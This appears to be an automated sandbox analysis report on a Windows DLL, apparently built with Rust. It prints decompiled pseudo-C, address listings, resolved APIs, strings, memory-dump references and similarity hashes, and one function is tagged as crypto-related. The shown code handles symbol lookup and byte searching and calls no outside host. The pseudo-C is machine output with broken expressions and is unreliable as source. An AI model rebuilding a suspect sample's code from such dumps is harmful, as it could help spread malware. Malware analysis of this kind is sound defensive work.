											_t292 =  *(_t418 + 0x24);
											_t408 =  *(_t418 + 0x34);
											_t312 =  *(_t418 + 0x14);
											_t379 =  *(_t418 + 0x30);
											 *(_t418 + 0x20) =  *(_t418 + 0x20) + _t292;
											_t281 =  *(_t418 + 0x18);
											__eflags = _t281;
											 *(_t418 + 0x1c) =  *(_t418 + 0x1c) + _t292;
											 *(_t418 + 0x28) =  *(_t418 + 0x34);
											if(_t281 != 0) {
												goto L12;
											} else {
												goto L13;
											}
										}
									}
									__eflags =  *(_t418 + 0x20) - 0x101;
									if(__eflags >= 0) {
										 *(_t418 + 0x11a8) = 0;
										E6EC09470(_t312,  *(_t418 + 0x20), 0x100, _t408, _t418, __eflags, 0x6ec309ec);
										goto L87;
									} else {
										_t409 =  *0x6ec3e154; // 0x0
										asm("xorps xmm0, xmm0");
										 *(_t418 + 0x74) = 0;
										 *(_t418 + 0x70) = 0;
										asm("movaps [esi+0x60], xmm0");
										 *((intOrPtr*)(_t418 + 0x60)) = 0x18;
										__eflags = _t409;
										if(_t409 != 0) {
											L59:
											_t283 = GetCurrentProcess();
											_t350 = _t418 + 0x60;
											 *(_t418 + 0x38) = 0;
											_t381 = _t418 + 0x38;
											_t284 =  *_t409(_t283, _t312, 0, _t381, _t350);
											__eflags = _t284 - 1;
											if(_t284 != 1) {
												_t410 = 0;
												__eflags = 0;
											} else {
												_t284 =  *((intOrPtr*)(_t418 + 0x68));
												_t350 =  *((intOrPtr*)(_t418 + 0x6c));
												_t411 = 0;
												__eflags = 0;
												asm("o16 nop [cs:eax+eax]");
												do {
													_t381 = _t411;
													_t411 = _t411 + 1;
													__eflags =  *((short*)(_t350 + _t381 * 2));
												} while ( *((short*)(_t350 + _t381 * 2)) != 0);
												 *(_t418 + 0x11a8) = 0;
												_t410 = 1;
											}
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x38) = _t418 + 0xa0;
											 *(_t418 + 0x3c) =  *(_t418 + 0x20);
											 *((intOrPtr*)(_t418 + 0x40)) =  *((intOrPtr*)(_t418 + 0x1d8));
											 *(_t418 + 0x44) = _t410;
											 *((intOrPtr*)(_t418 + 0x48)) = _t284;
											 *(_t418 + 0x4c) = _t410;
											 *((intOrPtr*)(_t418 + 0x50)) = _t350;
											 *(_t418 + 0x54) = _t381;
											E6EBEF860(_t418 + 0x84, _t418 + 0x38);
											goto L75;
										} else {
											_t286 = GetProcAddress( *0x6ec3e130, "SymGetLineFromAddrW64");
											__eflags = _t286;
											if(__eflags == 0) {
												 *(_t418 + 0x11a8) = 0;
												E6EC094E0(_t312, "called `Option::unwrap()` on a `None` value", 0x2b, _t409, _t418, __eflags, 0x6ec30ad0);
												goto L87;
											} else {
												_t409 = _t286;
												 *0x6ec3e154 = _t286;
												goto L59;
											}
										}
									}
								}
							} else {
								_t298 = GetProcAddress( *0x6ec3e130, "SymFromAddrW");
								__eflags = _t298;
								if(__eflags == 0) {
									 *(_t418 + 0x11a8) = 0;
									E6EC094E0(_t312, "called `Option::unwrap()` on a `None` value", 0x2b, _t407, _t418, __eflags, 0x6ec30ad0);
									L87:
									asm("ud2");
									asm("o16 nop [eax+eax]");
									_push(_t421);
									return E6EBEE6D0( *((intOrPtr*)( &_v4528 + 0x2c)));
								} else {
									_t407 = _t298;
									 *0x6ec3e150 = _t298;
									goto L9;
								}
							}
						}
					} else {
						if( *((char*)(_t418 + 0x13)) == 0) {
							L76:
							__eflags =  *(_t418 + 0x12);
							if( *(_t418 + 0x12) == 0) {
								__eflags =  *((char*)( *((intOrPtr*)(_t418 + 0x7c))));
								if( *((char*)( *((intOrPtr*)(_t418 + 0x7c)))) != 0) {
									 *(_t418 + 0x38) =  *((intOrPtr*)(_t418 + 0x78));
									 *(_t418 + 0x3c) = 0;
									 *(_t418 + 0x1a8) = 4;
									 *(_t418 + 0xa0) = 2;
									 *(_t418 + 0x11a8) = 1;
									_push(0);
									_push(_t418 + 0xa0);
									_push(_t418 + 0x1a0);
									 *( *(_t418 + 0x58)) = E6EBEF0A0(_t418 + 0x38,  *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x5c)) + 8)));
									_t249 =  *(_t418 + 0x38);
									_t202 = _t249 + 4;
									 *_t202 =  *(_t249 + 4) + 1;
									__eflags =  *_t202;
								}
							}
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x80)) + 4)))) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x80)) + 4)))) + 1;
							_t243 =  *(_t418 + 0x58);
							__eflags =  *_t243;
							_t208 =  *_t243 == 0;
							__eflags = _t208;
							_t240 = _t243 & 0xffffff00 | _t208;
						} else {
							goto L4;
						}
						goto L80;
					}
				} else {
					L4:
					_t240 = 0;
					L80:
					 *[fs:0x0] =  *((intOrPtr*)(_t418 + 0x11a0));
					return _t240;
				}
			}

0x6ebee6e0
0x6ebee6e0
0x6ebee6e3
0x6ebee6e4
0x6ebee6e5
0x6ebee6e6
0x6ebee6ee
0x6ebee6f3
0x6ebee6f5
0x6ebee6fb
0x6ebee701
0x6ebee70b
0x6ebee722
0x6ebee728
0x6ebee72e
0x6ebee731
0x6ebee736
0x6ebee740
0x6ebee743
0x6ebee746
0x6ebee74c
0x6ebee74f
0x6ebee752
0x6ebee755
0x6ebee759
0x6ebee75d
0x6ebee763
0x6ebee76c
0x6ebee772
0x6ebee77b
0x6ebee781
0x6ebee787
0x6ebee78a
0x6ebee78d
0x6ebee790
0x6ebee79d
0x6ebee7b0
0x6ebee7b3
0x6ebee7bb
0x6ebee7be
0x6ebeea68
0x6ebeea6d
0x6ebeea70
0x6ebeea76
0x6ebeea80
0x6ebeea8a
0x6ebeea8c
0x6ebeeaae
0x6ebeeaae
0x6ebeeab6
0x6ebeeabc
0x6ebeeac7
0x6ebeead1
0x6ebeeade
0x6ebeeae9
0x6ebeeaef
0x6ebeeaf6
0x6ebeeaf8
0x6ebeeafb
0x00000000
0x6ebeeb01
0x6ebeeb07
0x6ebeeb0d
0x6ebeeb10
0x6ebeeb16
0x6ebeeb1c
0x6ebeeb23
0x6ebeeb2a
0x6ebeeb31
0x6ebeeb38
0x6ebeeb3f
0x6ebeeb46
0x6ebeeb4d
0x6ebeeb54
0x6ebeeb5b
0x6ebeeb62
0x6ebeeb69
0x6ebeeb70
0x6ebeeb77
0x6ebeeb7e
0x6ebeeb85
0x6ebeeb8c
0x6ebeeb93
0x6ebeeb94
0x6ebeeb96
0x6ebeeba0
0x6ebeeba2
0x6ebeebaa
0x6ebeebad
0x6ebeebb0
0x6ebeebd0
0x6ebeebd0
0x6ebeebd3
0x6ebeebd9
0x6ebeebdb
0x6ebeebdb
0x6ebeebde
0x00000000
0x6ebeebde
0x6ebeebb2
0x6ebeebb2
0x6ebeebc0
0x6ebeebc2
0x6ebeebe1
0x6ebeebee
0x6ebeebf1
0x6ebeebf6
0x6ebeec10
0x6ebeec13
0x6ebeec16
0x6ebeebf8
0x6ebeebf8
0x6ebeebfd
0x6ebeebff
0x6ebeec05
0x6ebeec20
0x6ebeec23
0x6ebeec25
0x6ebeec65
0x00000000
0x6ebeec27
0x6ebeec27
0x6ebeec2d
0x6ebeec30
0x6ebeec39
0x6ebeec3f
0x6ebeec74
0x6ebeec77
0x00000000
0x6ebeec41
0x6ebeec5b
0x6ebeec5d
0x6ebeec5d
0x6ebeec3f
0x6ebeec07
0x6ebeec07
0x6ebeec80
0x6ebeec80
0x6ebeec80
0x6ebeec05
0x6ebeec85
0x6ebeec88
0x6ebeec8f
0x6ebeec94
0x6ebeec97
0x6ebeec9d
0x6ebeec9f
0x6ebeeca4
0x6ebeecaa
0x6ebeecac
0x6ebeecb2
0x6ebeecb7
0x6ebeecb7
0x6ebeecaa
0x6ebeecbc
0x6ebeecbc
0x6ebeecbe
0x6ebeecc1
0x6ebeecc7
0x6ebeecca
0x6ebeecd5
0x6ebeecd8
0x6ebeecdd
0x6ebeece0
0x6ebeece6
0x6ebeece9
0x6ebeecec
0x6ebeecee
0x6ebeecf4
0x6ebeecf7
0x6ebeecfa
0x00000000
0x6ebeed00
0x00000000
0x6ebeed00
0x6ebeecfa
0x6ebeecc1
0x6ebeedae
0x6ebeedb5
0x6ebeefaa
0x6ebeefbe
0x00000000
0x6ebeedbb
0x6ebeedbb
0x6ebeedc1
0x6ebeedc4
0x6ebeedcb
0x6ebeedd2
0x6ebeedd6
0x6ebeeddd
0x6ebeeddf
0x6ebeee01
0x6ebeee01
0x6ebeee06
0x6ebeee09
0x6ebeee10
0x6ebeee22
0x6ebeee24
0x6ebeee27
0x6ebeee9e
0x6ebeee9e
0x6ebeee29
0x6ebeee29
0x6ebeee2c
0x6ebeee2f
0x6ebeee2f
0x6ebeee31
0x6ebeee40
0x6ebeee40
0x6ebeee42
0x6ebeee43
0x6ebeee43
0x6ebeee4a
0x6ebeee54
0x6ebeee54
0x6ebeeea6
0x6ebeeeb0
0x6ebeeeb6
0x6ebeeebf
0x6ebeeec2
0x6ebeeec5
0x6ebeeec8
0x6ebeeecb
0x6ebeeece
0x6ebeeeda
0x00000000
0x6ebeede1
0x6ebeedec
0x6ebeedf2
0x6ebeedf4
0x6ebef034
0x6ebef04d
0x00000000
0x6ebeedfa
0x6ebeedfa
0x6ebeedfc
0x00000000
0x6ebeedfc
0x6ebeedf4
0x6ebeeddf
0x6ebeedb5
0x6ebeea8e
0x6ebeea99
0x6ebeea9f
0x6ebeeaa1
0x6ebeefee
0x6ebef007
0x00000000
0x6ebeeaa7
0x6ebeeaa7
0x6ebeeaa9
0x00000000
0x6ebeeaa9
0x6ebeeaa1
0x6ebee7c4
0x6ebee7c4
0x6ebee7d5
0x6ebee7da
0x6ebee7dd
0x6ebee7e3
0x6ebee7ed
0x6ebee7f7
0x6ebee7f9
0x6ebee81b
0x6ebee81b
0x6ebee826
0x6ebee830
0x6ebee846
0x6ebee848
0x6ebee84b
0x6ebeeedf
0x6ebeeee3
0x6ebeeee8
0x6ebeeeec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebee851
0x6ebee857
0x6ebee85d
0x6ebee860
0x6ebee865
0x6ebee86c
0x6ebee86f
0x6ebee876
0x6ebee87d
0x6ebee884
0x6ebee88b
0x6ebee892
0x6ebee899
0x6ebee8a0
0x6ebee8a7
0x6ebee8ae
0x6ebee8b5
0x6ebee8bc
0x6ebee8c3
0x6ebee8ca
0x6ebee8d1
0x6ebee8d8
0x6ebee8df
0x6ebee8e0
0x6ebee8e2
0x6ebee8eb
0x6ebee8f2
0x6ebee8f5
0x6ebee8fd
0x6ebee900
0x6ebee903
0x6ebee906
0x6ebee909
0x6ebee920
0x6ebee920
0x6ebee923
0x6ebee929
0x6ebee92c
0x6ebee92f
0x6ebee92f
0x6ebee932
0x00000000
0x6ebee932
0x6ebee910
0x6ebee910
0x6ebee912
0x6ebee935
0x6ebee942
0x6ebee945
0x6ebee94b
0x6ebee9b0
0x6ebee9b3
0x6ebee94d
0x6ebee950
0x6ebee952
0x6ebee957
0x6ebee95d
0x6ebee95f
0x6ebee962
0x6ebee965
0x6ebee967
0x6ebee9b7
0x6ebee969
0x6ebee969
0x6ebee96f
0x6ebee97a
0x6ebee980
0x6ebee9c2
0x6ebee9c2
0x6ebee9c5
0x6ebee982
0x6ebee999
0x6ebee99b
0x6ebee99b
0x6ebee980
0x6ebee967
0x6ebee9d0
0x6ebee9d0
0x6ebee9d3
0x6ebee9db
0x6ebee9e0
0x6ebee9e3
0x6ebee9e6
0x6ebee9ec
0x6ebee9ee
0x6ebee9f3
0x6ebee9f9
0x6ebee9fb
0x6ebeea01
0x6ebeea06
0x6ebeea06
0x6ebee9f9
0x6ebeea0b
0x6ebeea0b
0x6ebeea0d
0x6ebeea13
0x6ebeea19
0x6ebeea1c
0x6ebeea27
0x6ebeea2c
0x6ebeea2f
0x6ebeea35
0x6ebeea38
0x6ebeea3b
0x6ebeea40
0x6ebeea43
0x6ebeea46
0x6ebeea49
0x6ebeea4c
0x6ebeea4f
0x00000000
0x6ebeea55
0x00000000
0x6ebeea55
0x6ebeea4f
0x6ebeea0d
0x6ebeed05
0x6ebeed0c
0x6ebeef86
0x6ebeef9a
0x00000000
0x6ebeed12
0x6ebeed12
0x6ebeed18
0x6ebeed1b
0x6ebeed22
0x6ebeed29
0x6ebeed2d
0x6ebeed34
0x6ebeed36
0x6ebeed58
0x6ebeed58
0x6ebeed5d
0x6ebeed60
0x6ebeed67
0x6ebeed70
0x6ebeed72
0x6ebeed75
0x6ebeee5b
0x6ebeee5b
0x6ebeed7b
0x6ebeed7b
0x6ebeed7e
0x6ebeed81
0x6ebeed81
0x6ebeed83
0x6ebeed90
0x6ebeed90
0x6ebeed92
0x6ebeed93
0x6ebeed93
0x6ebeed9a
0x6ebeeda4
0x6ebeeda4
0x6ebeee63
0x6ebeee6d
0x6ebeee73
0x6ebeee7c
0x6ebeee7f
0x6ebeee82
0x6ebeee85
0x6ebeee88
0x6ebeee8b
0x6ebeee97
0x00000000
0x6ebeed38
0x6ebeed43
0x6ebeed49
0x6ebeed4b
0x6ebef011
0x6ebef02a
0x00000000
0x6ebeed51
0x6ebeed51
0x6ebeed53
0x00000000
0x6ebeed53
0x6ebeed4b
0x6ebeed36
0x6ebeed0c
0x6ebee7fb
0x6ebee806
0x6ebee80c
0x6ebee80e
0x6ebeefcb
0x6ebeefe4
0x6ebef055
0x6ebef055
0x6ebef057
0x6ebef060
0x6ebef07c
0x6ebee814
0x6ebee814
0x6ebee816
0x00000000
0x6ebee816
0x6ebee80e
0x6ebee7f9
0x6ebee79f
0x6ebee7a3
0x6ebeeef2
0x6ebeeef2
0x6ebeeef6
0x6ebeeefb
0x6ebeeefe
0x6ebeef03
0x6ebeef09
0x6ebeef13
0x6ebeef1d
0x6ebeef27
0x6ebeef43
0x6ebeef45
0x6ebeef46
0x6ebeef52
0x6ebeef54
0x6ebeef57
0x6ebeef57
0x6ebeef57
0x6ebeef57
0x6ebeeefe
0x6ebeef63
0x6ebeef65
0x6ebeef68
0x6ebeef6b
0x6ebeef6b
0x6ebeef6b
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebee7a3
0x6ebee7a9
0x6ebee7a9
0x6ebee7a9
0x6ebeef6e
0x6ebeef74
0x6ebeef82
0x6ebeef82

APIs

GetProcAddress.KERNEL32(SymFromAddrW), ref: 6EBEE806
GetCurrentProcess.KERNEL32 ref: 6EBEE81B

Strings

SymGetLineFromInlineContextW, xrefs: 6EBEEDE1
SymFromInlineContextW, xrefs: 6EBEEA8E
called `Option::unwrap()` on a `None` value, xrefs: 6EBEEFD5, 6EBEEFF8, 6EBEF01B, 6EBEF03E
SymFromAddrW, xrefs: 6EBEE7FB
SymGetLineFromAddrW64, xrefs: 6EBEED38

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressCurrentProcProcess
String ID: SymFromAddrW$SymFromInlineContextW$SymGetLineFromAddrW64$SymGetLineFromInlineContextW$called `Option::unwrap()` on a `None` value
API String ID: 3217270580-808744031
Opcode ID: 66f77e8025c97fcb7709aeeb74d6f23bbe7a1021b6f060fe8838a68575029642
Instruction ID: 9bb881f9127526653d98d319e59e5d10a4323e37690e55bc3e336d0df47aa1c8
Opcode Fuzzy Hash: 66f77e8025c97fcb7709aeeb74d6f23bbe7a1021b6f060fe8838a68575029642
Instruction Fuzzy Hash: 73425670904B808FE7258F69C480BE7BBF5FF88354F10492ED59A87A51E775B886CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEA6D0, Relevance: 15.7, Strings: 11, Instructions: 1959
COMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E6EBEA6D0(void* __ebx, signed int* __ecx, signed int __edx, signed int __edi, void* __esi, void* __eflags, signed int _a4, intOrPtr _a20, intOrPtr _a24) {
				char _v2;
				signed char _v3;
				void* _v16;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v68;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				char _v104;
				signed int* _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v192;
				char _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				intOrPtr _v220;
				signed int _v224;
				signed int _v228;
				intOrPtr _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				signed int _t546;
				signed int _t551;
				signed int* _t552;
				intOrPtr _t553;
				intOrPtr* _t556;
				intOrPtr _t557;
				signed int _t558;
				signed int _t565;
				signed char _t566;
				void* _t567;
				signed char* _t568;
				signed char* _t570;
				signed int _t572;
				signed int _t574;
				signed char _t575;
				signed int _t577;
				void* _t580;
				signed int _t581;
				signed int _t583;
				signed int _t587;
				void* _t589;
				signed int _t596;
				signed int _t597;
				signed char _t598;
				signed int _t599;
				signed int _t602;
				signed int _t603;
				signed int _t604;
				signed char* _t606;
				signed int _t607;
				signed int _t609;
				signed int _t612;
				char* _t617;
				signed int _t618;
				signed int _t626;
				signed int _t628;
				signed int _t629;
				signed int _t630;
				signed int _t631;
				signed int _t634;
				signed int _t636;
				signed int _t642;
				signed int _t643;
				void* _t645;
				signed int _t646;
				signed int _t647;
				signed int _t651;
				signed int _t652;
				signed char* _t653;
				signed char* _t654;
				signed char* _t656;
				signed int _t657;
				signed int _t659;
				signed int _t661;
				signed int _t662;
				void* _t665;
				signed int _t669;
				signed char* _t670;
				signed int* _t675;
				signed int _t676;
				signed char _t685;
				intOrPtr _t689;
				intOrPtr* _t691;
				signed int _t692;
				signed int _t694;
				signed int _t696;
				signed int _t699;
				signed int _t700;
				signed int _t704;
				signed int _t706;
				signed int _t711;
				signed int _t713;
				signed int _t716;
				signed int _t725;
				signed int _t729;
				intOrPtr _t749;
				signed int _t751;
				intOrPtr _t755;
				signed int _t758;
				signed int _t762;
				signed char _t764;
				signed int _t765;
				signed int _t766;
				signed int _t767;
				signed int _t769;
				signed int _t772;
				signed char* _t775;
				signed int _t776;
				signed int _t779;
				signed int _t780;
				signed char _t781;
				signed char _t783;
				signed int _t784;
				signed int _t785;
				signed char _t786;
				signed char _t787;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t793;
				signed int _t797;
				signed int _t806;
				signed int _t807;
				signed int _t808;
				signed int _t809;
				signed int _t812;
				signed int _t815;
				signed int _t817;
				signed int _t818;
				signed int _t820;
				signed int _t821;
				signed int _t825;
				signed char* _t826;
				signed int _t831;
				signed int _t833;
				signed int _t841;
				void* _t842;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t849;
				signed int _t852;
				signed int _t853;
				signed char* _t859;
				signed int _t860;
				signed int _t863;
				signed int _t866;
				signed int _t867;
				signed char* _t868;
				signed int _t881;
				signed int _t883;
				signed int _t884;
				signed int _t885;
				signed int _t886;
				signed int _t887;
				signed int _t888;
				signed int _t889;
				signed int _t892;
				signed int _t894;
				signed int _t895;
				void* _t896;
				signed char _t897;
				signed int _t900;
				signed int _t901;
				signed int _t902;
				void* _t904;
				signed int _t905;
				void* _t906;
				signed char _t907;
				intOrPtr _t910;
				signed int _t911;
				void* _t913;
				signed int _t916;
				signed int _t918;
				signed int _t920;
				signed int _t921;
				signed int _t923;
				signed int _t925;
				signed int _t927;
				signed int _t928;
				signed int _t929;
				signed char* _t930;
				signed char _t932;
				signed int _t933;
				signed int _t935;
				signed int _t941;
				signed int _t943;
				signed int _t945;
				signed char _t950;
				signed char _t952;
				signed int _t953;
				signed int _t956;
				signed int _t963;
				signed char* _t964;
				signed char _t967;
				signed int _t968;
				signed int _t970;
				signed int _t971;
				signed int _t973;
				signed int _t981;
				signed int _t982;
				signed int _t983;
				signed int _t984;
				signed int _t985;
				signed int _t988;
				signed int _t989;
				signed int _t991;
				signed int _t994;
				signed int _t995;
				signed int _t996;
				signed int _t997;
				signed int _t998;
				signed int _t1001;
				signed int _t1003;
				signed int _t1004;
				signed char* _t1010;
				signed char* _t1011;
				signed char* _t1012;
				signed int _t1015;
				signed int _t1017;
				signed int _t1019;
				signed int _t1020;
				signed int _t1022;
				signed int _t1025;
				signed int _t1029;
				signed int _t1030;
				signed int _t1032;
				signed int _t1037;
				signed int _t1042;
				signed int _t1044;
				signed int _t1047;
				signed int _t1048;
				signed int _t1050;
				signed int _t1051;
				signed int _t1055;
				signed int _t1058;
				signed int _t1059;
				signed int _t1061;
				signed int _t1065;
				signed int _t1066;
				signed char* _t1069;
				signed int _t1070;
				signed char* _t1076;
				signed char* _t1077;
				signed int _t1085;
				signed int _t1087;
				signed int _t1100;
				signed int _t1103;
				signed int _t1105;
				signed int _t1109;
				signed char* _t1112;
				signed int _t1113;
				signed int _t1114;
				signed int _t1116;
				signed int _t1119;
				signed int _t1121;
				void* _t1124;
				void* _t1127;
				void* _t1142;

				_t998 = __edi;
				_t1100 = _t1121;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_v108 = __ecx;
				_v152 = __edx;
				_push(6);
				_push(".llvm.C:svwynxjwzbblyzyvbzvnadthqulrlxkuotzeuguljzqomqtcmfyjwyjxmyqztcdrlrqahaumjphvoxxzmknnzpgbuuldukigsulxy");
				_push(_a4);
				E6EBE38C0( &_v104, __edx);
				_t1124 = (_t1121 & 0xfffffff8) - 0x98 + 0xc;
				if(_v104 != 1) {
					_t1055 =  &_v32;
					asm("o16 nop [cs:eax+eax]");
					do {
						E6EBE8B60( &_v104, _t1055,  &_v104, __edi, _t1055);
						_t546 = _v32;
						__eflags = _t546 - 1;
					} while (_t546 == 1);
					__eflags = _t546;
					if(_t546 != 0) {
						goto L71;
					} else {
						_t998 = _v28;
						goto L39;
					}
				} else {
					_t711 = _v68;
					_t1055 = _v56;
					_t989 = _v52;
					_v164 = _t711;
					_v148 = _t1055;
					_v160 = _v48;
					_t713 = _v44;
					_v144 = _t713;
					if(_t711 == 0xffffffff) {
						_t998 = _v76;
						_t896 = _t998 + _t713 - 1;
						__eflags = _t896 - _t989;
						if(_t896 < _t989) {
							_v156 = _t989;
							_v112 = _v96;
							_v116 = _v92;
							_t716 = _v88;
							__eflags = _t716 - _v144;
							_t792 =  >  ? _t716 : _v144;
							_v124 =  >  ? _t716 : _v144;
							_t793 = _v160;
							_v128 = _t793 + _t716 - 1;
							_t991 = _t716;
							_v160 = _t793 + _t716;
							_t758 = _v156;
							_v164 = _t991;
							_v36 = _v80;
							_v120 = _v144 - 1;
							_v132 = _t991 - 1;
							_v136 = _t991 + _t1055;
							do {
								_t897 =  *((intOrPtr*)(_t1055 + _t896));
								__eflags = _t897 & 0x00000020;
								_t723 =  !=  ? 1 : 0xbadbad << _t897;
								_t1090 =  !=  ? 0 : 1 << _t897;
								_t724 = ( !=  ? 1 : 0xbadbad << _t897) & _v116;
								_t1091 = ( !=  ? 0 : 1 << _t897) & _v112;
								_t1092 = ( !=  ? 0 : 1 << _t897) & _v112 | ( !=  ? 1 : 0xbadbad << _t897) & _v116;
								__eflags = ( !=  ? 0 : 1 << _t897) & _v112 | ( !=  ? 1 : 0xbadbad << _t897) & _v116;
								if((( !=  ? 0 : 1 << _t897) & _v112 | ( !=  ? 1 : 0xbadbad << _t897) & _v116) == 0) {
									_t1050 = _t998 + _v144;
									__eflags = _t1050;
									_t725 = _t1050;
									goto L25;
								} else {
									_t900 = _v124;
									_t1055 = _v160;
									_v140 = _t998;
									asm("o16 nop [cs:eax+eax]");
									while(1) {
										__eflags = _v164 - _t900;
										if(_v164 == _t900) {
											break;
										}
										__eflags = _v164 + _t998 - _t758;
										if(_v164 + _t998 >= _t758) {
											_t916 = _t758;
											_t904 = _v140 + _v164;
											__eflags = _t758 - _t904;
											_t902 =  >  ? _t758 : _t904;
											goto L229;
										} else {
											_t994 =  *_t1055 & 0x000000ff;
											_t1055 = _t1055 + 1;
											_t900 = _t900 - 1;
											__eflags = _t994 -  *((intOrPtr*)(_v136 + _t998));
											_t725 = _t998 + 1;
											_t998 = _t725;
											if(__eflags == 0) {
												continue;
											} else {
												goto L25;
											}
										}
										goto L498;
									}
									_t901 = _v132;
									__eflags = _t901 - _v144;
									if(_t901 >= _v144) {
										__eflags = _v164;
										_t998 = _v140;
										if(__eflags == 0) {
											goto L39;
										} else {
											_t902 = _v132;
											goto L234;
										}
									} else {
										_t1055 = _v128;
										_t1051 = _v164;
										_t902 = _t901 + _v140;
										__eflags = _t902;
										while(1) {
											_t998 = _t1051 - 1;
											__eflags = _t998;
											if(_t998 < 0) {
												break;
											}
											__eflags = _t902 - _t758;
											if(__eflags >= 0) {
												_t916 = _t758;
												_push(0x6ec2f710);
												goto L235;
											} else {
												_t729 =  *_t1055 & 0x000000ff;
												_t1055 = _t1055 - 1;
												__eflags = _t729 -  *((intOrPtr*)(_v148 + _t902));
												_t758 = _v156;
												_t902 = _t902 - 1;
												if(__eflags == 0) {
													continue;
												} else {
													_t725 = _v140 + _v36;
													goto L25;
												}
											}
											goto L498;
										}
										_t998 = _v140;
										goto L39;
									}
								}
								goto L498;
								L25:
								_t1055 = _v148;
								_t998 = _t725;
								_t896 = _v120 + _t725;
								__eflags = _t896 - _t758;
							} while (_t896 < _t758);
						}
						goto L71;
					} else {
						_t905 = _v76;
						_t998 = _t905;
						_t906 = _t905 + _t713 - 1;
						if(_t906 >= _t989) {
							L71:
							_t916 = _v152;
							_v160 = _a4;
							goto L72;
						} else {
							_t797 = _v80;
							_v156 = _t989;
							_v140 = _v96;
							_v132 = _t797;
							_v136 = _v88;
							_v128 = _v144 - _t797;
							_v124 =  ~_v136;
							_v112 = _v92;
							_v116 = _v144 - 1;
							do {
								_t907 =  *((intOrPtr*)(_t1055 + _t906));
								_t758 = _t1055;
								_t745 =  !=  ? 1 : 0xbadbad << _t907;
								_t1095 =  !=  ? 0 : 1 << _t907;
								_t746 = ( !=  ? 1 : 0xbadbad << _t907) & _v112;
								_t1096 = ( !=  ? 0 : 1 << _t907) & _v140;
								_t1097 = ( !=  ? 0 : 1 << _t907) & _v140 | ( !=  ? 1 : 0xbadbad << _t907) & _v112;
								_t1137 = ( !=  ? 0 : 1 << _t907) & _v140 | ( !=  ? 1 : 0xbadbad << _t907) & _v112;
								if((( !=  ? 0 : 1 << _t907) & _v140 | ( !=  ? 1 : 0xbadbad << _t907) & _v112) == 0) {
									_t998 = _t998 + _v144;
									__eflags = _t998;
									_v164 = 0;
									goto L9;
								} else {
									_t995 = _t998;
									_t998 = _t998 + _t758;
									_t749 =  >  ? _v136 : _v164;
									_t910 = _t749;
									_v120 = _t749;
									_t1055 =  >  ? _t749 : _v144;
									while(_t1055 != _t910) {
										if(_t995 + _t910 >= _v156) {
											_t913 = _v120 + _t995;
											_t916 = _v156;
											__eflags = _t916 - _t913;
											_t902 =  >  ? _t916 : _t913;
											L229:
											_push(0x6ec2f6f0);
											L235:
											E6EC09360(_t758, _t902, _t916, _t998, _t1055, __eflags);
											_t1124 = _t1124 + 4;
											asm("ud2");
											L236:
											_t809 = _t916;
											_t917 = _v160;
											_push(0x6ec2f148);
											_push(_v160);
											_push(1);
											L242:
											E6EC09620(_t809, _t917);
											asm("ud2");
											_push(_t1100);
											_push(_t758);
											_push(_t998);
											_push(_t1055);
											_t1127 = _t1124 + 0xc - 0x50;
											_t918 = _v160;
											_t556 =  *_v164;
											__eflags =  *_t556 - 1;
											if( *_t556 != 1) {
												_v252 =  *((intOrPtr*)(_t556 + 4));
												_t557 =  *((intOrPtr*)(_t556 + 0xc));
												_v244 =  *((intOrPtr*)(_t556 + 8));
												_t812 = 0;
												_v232 = _t557;
												while(1) {
													L246:
													__eflags = _t812 - _t557;
													_v248 = _t812;
													if(_t812 == _t557) {
														break;
													}
													__eflags = _v244;
													if(__eflags == 0) {
														L473:
														E6EC094E0(_t758, "called `Option::unwrap()` on a `None` value", 0x2b, _t998, _t1055, __eflags, 0x6ec2efc0);
														_t1127 = _t1127 + 4;
														asm("ud2");
														L474:
														_t920 = 1;
														L475:
														_v224 = _t920;
														_t921 = 0x2b;
														E6EC095A0(_t758, "called `Result::unwrap()` on an `Err` value", 0x2b, __eflags,  &_v224, 0x6ec2eef4, 0x6ec2eff0);
														_t1127 = _t1127 + 0xc;
														asm("ud2");
														L476:
														_t815 = _t998;
														_push(0x6ec2efd0);
														L477:
														_push(_t921);
														_push(1);
														E6EC09620(_t815, _t921);
														_t1127 = _t1127 + 0xc;
														asm("ud2");
														L478:
														E6EC09620(_t815, _v244, 0, _t758, 0x6ec2efe0);
														_t1127 = _t1127 + 0xc;
														asm("ud2");
														L479:
														_t920 = 0;
														goto L475;
													}
													_t998 = _v252;
													_t921 = _v244;
													_t565 = _v248 + 1;
													__eflags = _t565;
													_v228 = _t565;
													_v260 = _t998 + _t921;
													asm("o16 nop [cs:eax+eax]");
													while(1) {
														_t566 =  *_t998 & 0x000000ff;
														_t1058 = _t566 & 0x000000ff;
